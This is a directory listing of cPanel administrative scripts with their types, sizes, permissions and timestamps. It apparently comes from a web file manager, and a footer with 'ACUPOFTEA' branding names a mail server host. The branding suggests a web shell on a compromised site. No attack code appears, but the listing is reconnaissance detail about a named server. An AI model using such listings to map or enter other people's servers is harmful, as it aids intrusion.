application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_cphulkd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_cpipv6
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_cpsrvd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_crond
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_dnsadmin
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_dovecot
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_exim
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_eximstats
text/x-perl
504 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_ftpd
text/x-perl
426 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_ftpserver
text/x-perl
911 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_httpd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_imap
text/x-perl
437 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_inetd
text/x-perl
2.47 KB
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_ipaliases
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_lmtp
text/x-perl
437 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_mailman
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_mysql
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_named
text/x-perl
579 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_nscd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_p0f
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_pdns
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_pop3
text/x-perl
437 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_postgres
text/x-perl
427 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_postgresql
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_powerdns
text/x-perl
442 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_proftpd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_pureftpd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_queueprocd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_rsyslog
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_rsyslogd
text/x-perl
437 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_spamd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_sshd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_syslogd
text/x-perl
2.4 KB
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_tailwatchd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_unknown
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_xinetd
text/x-perl
422 B
-rwxr-xr-x
2024-03-04 05:44:29
restorecpuserfromcache
text/x-perl
1.96 KB
-rwxr-xr-x
2024-03-04 05:44:29
restorepkg
44.36 MB
-rwx------
2025-10-16 10:57:45
rfc1912_zones.tar
application/x-tar
10 KB
-rw-r--r--
2024-03-04 05:44:29
rpmup
text/x-perl
5.07 KB
-rwxr-xr-x
2024-03-04 05:44:29
rsync-user-homedir.pl
text/x-perl
5.76 KB
-rwxr-xr-x
2024-03-04 05:44:29
run_if_exists
text/x-shellscript
512 B
-rwxr-xr-x
2024-03-04 05:44:29
run_plugin_lifecycle
3.53 KB
-rwx------
2025-08-26 09:44:38
runstatsonce
text/x-shellscript
440 B
-rwxr-xr-x
2024-03-04 05:44:29
runweblogs
text/x-perl
1.02 KB
-rwxr-xr-x
2024-03-04 05:44:29
sa-update_wrapper
text/x-perl
3.34 KB
-rwxr-xr-x
2024-03-04 05:44:29
safetybits.pl
text/x-perl
844 B
-rwxr-xr-x
2024-03-04 05:44:29
secureit
text/x-perl
4.72 KB
-rwxr-xr-x
2024-03-04 05:44:29
securemysql
text/x-perl
4.4 KB
-rwxr-xr-x
2024-06-24 10:57:19
securerailsapps
text/x-perl
3.58 KB
-rwxr-xr-x
2024-03-04 05:44:29
securetmp
text/x-perl
16.76 KB
-rwxr-xr-x
2025-08-07 10:57:28
sendicq
text/x-perl
474 B
-rwxr-xr-x
2024-03-04 05:44:29
servicedomains
text/x-perl
9.64 KB
-rwxr-xr-x
2025-06-09 10:57:30
set_mailman_archive_perms
text/x-perl
1.75 KB
-rwxr-xr-x
2024-03-04 05:44:29
setpostgresconfig
text/x-perl
6.04 KB
-rwxr-xr-x
2024-03-04 05:44:29
setup_greylist_db
text/x-perl
16.19 KB
-rwxr-xr-x
2024-03-04 05:44:29
setup_modsec_db
text/x-perl
1.3 KB
-rwxr-xr-x
2024-03-04 05:44:29
setup_systemd_timer_for_plugins
3.92 KB
-rwx------
2025-08-26 09:44:38
setupftpserver
text/x-perl
10.47 KB
-rwxr-xr-x
2024-03-04 05:44:29
setupmailserver
text/x-perl
9.39 KB
-rwxr-xr-x
2025-06-09 10:57:28
setupnameserver
text/x-perl
12.52 KB
-rwxr-xr-x
2024-08-22 10:57:34
shrink_modsec_ip_database
text/x-perl
12.97 KB
-rwxr-xr-x
2024-03-04 05:44:29
simpleps
text/x-perl
3.05 KB
-rwxr-xr-x
2024-03-04 05:44:29
slurp_exim_mainlog
text/x-perl
5.78 KB
-rwxr-xr-x
2024-03-04 05:44:29
smartcheck
text/x-perl
15.13 KB
-rwxr-xr-x
2025-06-09 10:57:20
smtpmailgidonly
text/x-perl
8.15 KB
-rwxr-xr-x
2024-03-04 05:44:29
snapshot_prep
text/x-perl
5.88 KB
-rwxr-xr-x
2024-08-22 10:57:37
spamassassin_dbm_cleaner
text/x-perl
5.85 KB
-rwxr-xr-x
2024-03-04 05:44:29
spamassassindisable
text/x-perl
3.74 KB
-rwxr-xr-x
2024-03-04 05:44:29
spamboxdisable
text/x-perl
2.27 KB
-rwxr-xr-x
2024-03-04 05:44:29
sshcontrol
text/x-perl
14.38 KB
-rwxr-xr-x
2024-03-04 05:44:29
ssl_crt_status
text/x-perl
3.84 KB
-rwxr-xr-x
2024-03-04 05:44:29
suspendacct
text/x-perl
18.01 KB
-rwxr-xr-x
2024-03-04 05:44:29
suspendmysqlusers
text/x-perl
4.78 KB
-rwxr-xr-x
2024-03-04 05:44:29
swapip
text/x-perl
3.82 KB
-rwxr-xr-x
2024-03-04 05:44:29
sync-mysql-users-from-grants
text/x-perl
1.2 KB
-rwxr-xr-x
2024-03-04 05:44:29
sync_child_accounts
text/x-perl
1.77 KB
-rwxr-xr-x
2024-03-04 05:44:29
sync_contact_emails_to_cpanel_users_files
text/x-perl
1.14 KB
-rwxr-xr-x
2024-03-04 05:44:29
synccpaddonswithsqlhost
text/x-perl
6.59 KB
-rwxr-xr-x
2024-03-04 05:44:29
synctransfers
text/x-perl
1.92 KB
-rwxr-xr-x
2024-03-04 05:44:29
syslog_check
text/x-perl
1.36 KB
-rwxr-xr-x
2024-03-04 05:44:29
sysup
text/x-perl
645 B
-rwxr-xr-x
2024-03-04 05:44:29
test_sa_compiled
text/x-perl
1.07 KB
-rwxr-xr-x
2024-03-04 05:44:29
transfer_account_as_user
text/x-perl
2.34 KB
-rwxr-xr-x
2024-03-04 05:44:29
transfer_accounts_as_root
text/x-perl
4.76 KB
-rwxr-xr-x
2024-03-04 05:44:29
transfer_in_progress
text/x-perl
3.08 KB
-rwxr-xr-x
2024-03-04 05:44:29
transfer_in_progress.pod
text/plain
312 B
-rw-r--r--
2024-03-04 05:44:29
transfermysqlusers
9.84 MB
-rwx------
2025-10-16 10:57:32
try-later
text/x-perl
7.95 KB
-rwxr-xr-x
2024-03-04 05:44:29
unblockip
text/x-perl
667 B
-rwxr-xr-x
2024-03-04 05:44:29
uninstall_cpanel_analytics
text/x-perl
1.2 KB
-rwxr-xr-x
2024-03-04 05:44:29
uninstall_dovecot_fts
text/x-perl
562 B
-rwxr-xr-x
2024-03-04 05:44:29
uninstall_plugin
text/x-perl
2.84 KB
-rwxr-xr-x
2024-03-04 05:44:29
unlink_service_account
text/x-perl
2.62 KB
-rwxr-xr-x
2024-03-04 05:44:29
unpkgacct
text/x-perl
4.6 KB
-rwxr-xr-x
2024-03-04 05:44:29
unslavenamedconf
text/x-perl
863 B
-rwxr-xr-x
2024-03-04 05:44:29
unsuspendacct
text/x-perl
17.8 KB
-rwxr-xr-x
2024-03-04 05:44:29
unsuspendmysqlusers
text/x-perl
7.1 KB
-rwxr-xr-x
2024-03-04 05:44:29
upcp
text/x-perl
31.97 KB
-rwxr-xr-x
2024-11-19 10:57:19
upcp-running
text/x-perl
2.7 KB
-rwxr-xr-x
2024-03-04 05:44:29
upcp.static
text/x-perl
721.63 KB
-rwxr-xr-x
2025-10-16 10:57:47
update-packages
text/x-perl
5.07 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_apachectl
text/x-perl
480 B
-rwxr-xr-x
2024-03-04 05:44:29
update_db_cache
text/x-perl
430 B
-rwxr-xr-x
2024-03-04 05:44:29
update_dkim_keys
text/x-perl
1.45 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_exim_rejects
text/x-perl
1.21 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_existing_mail_quotas_for_account
text/x-perl
4.78 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_feature_flags
text/x-perl
957 B
-rwxr-xr-x
2024-03-04 05:44:29
update_freebusy_data
text/x-perl
5.25 KB
-rwxr-xr-x
2025-06-09 10:57:17
update_known_proxy_ips
text/x-perl
1002 B
-rwxr-xr-x
2024-03-04 05:44:29
update_local_rpm_versions
text/x-perl
4.56 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_mailman_cache
text/x-perl
8.34 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_mysql_systemd_config
text/x-perl
1.07 KB
-rwxr-xr-x
2025-06-09 10:57:31
update_neighbor_netblocks
text/x-perl
487 B
-rwxr-xr-x
2024-03-04 05:44:29
update_sa_config
text/x-perl
2.14 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_spamassassin_config
text/x-perl
10.73 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_users_jail
text/x-perl
691 B
-rwxr-xr-x
2024-03-04 05:44:29
update_users_vhosts
text/x-perl
801 B
-rwxr-xr-x
2024-03-04 05:44:29
updatedomainips
text/x-perl
605 B
-rwxr-xr-x
2024-03-04 05:44:29
updatenameserverips
text/x-perl
1.66 KB
-rwxr-xr-x
2024-03-04 05:44:29
updatenow
text/x-perl
5.18 KB
-rwxr-xr-x
2024-03-04 05:44:29
updatenow.static
text/x-perl
2.02 MB
-rwxr-xr-x
2025-10-16 10:57:32
updatesigningkey
text/x-perl
1.95 KB
-rwxr-xr-x
2024-03-04 05:44:29
updatessldomains
text/x-perl
1.81 KB
-rwxr-xr-x
2024-03-04 05:44:29
updatesupportauthorizations
text/x-perl
2.49 KB
-rwxr-xr-x
2024-03-04 05:44:29
updateuserdatacache
text/x-perl
2.47 KB
-rwxr-xr-x
2024-03-04 05:44:29
updateuserdomains
text/x-perl
774 B
-rwxr-xr-x
2024-03-04 05:44:29
upgrade_bandwidth_dbs
text/x-perl
2.22 KB
-rwxr-xr-x
2024-03-04 05:44:29
upgrade_subaccount_databases
text/x-perl
2.73 KB
-rwxr-xr-x
2024-03-04 05:44:29
userdata_wildcard_cleanup
text/x-perl
5.74 KB
-rwxr-xr-x
2024-03-04 05:44:29
userdirctl
text/x-perl
5.01 KB
-rwxr-xr-x
2024-03-04 05:44:29
validate_sshkey_passphrase
text/x-perl
1.21 KB
-rwxr-xr-x
2024-03-04 05:44:29
verify_api_spec_files
text/x-perl
757 B
-rwxr-xr-x
2024-03-04 05:44:29
verify_pidfile
text/x-perl
1.96 KB
-rwxr-xr-x
2024-03-04 05:44:29
verify_vhost_includes
text/x-perl
7.34 KB
-rwxr-xr-x
2024-03-04 05:44:29
vps_optimizer
text/x-perl
7.82 KB
-rwxr-xr-x
2024-03-04 05:44:29
vzzo-fixer
text/x-perl
725 B
-rwxr-xr-x
2024-03-04 05:44:29
whmlogin
text/x-perl
2.33 KB
-rwxr-xr-x
2024-03-04 05:44:29
whoowns
text/x-perl
1.13 KB
-rwxr-xr-x
2024-03-04 05:44:29
wwwacct
27.78 MB
-rwx------
2025-10-16 10:57:28
wwwacct2
text/x-perl
88 B
-rwxr-xr-x
2024-03-04 05:44:29
xfer_rcube_schema_migrate.pl
text/x-perl
2.4 KB
-rwxr-xr-x
2024-03-04 05:44:29
xfer_rcube_uid_resolver.pl
text/x-perl
1.8 KB
-rwxr-xr-x
2024-03-04 05:44:29
xferpoint
text/x-perl
3.13 KB
-rwxr-xr-x
2024-03-04 05:44:29
xfertool
text/x-perl
16.23 KB
-rwxr-xr-x
2024-03-04 05:44:29
zoneexists
text/x-perl
800 B
-rwxr-xr-x
2024-03-04 05:44:29
~ ACUPOFTEA - mail.ontime-ae.com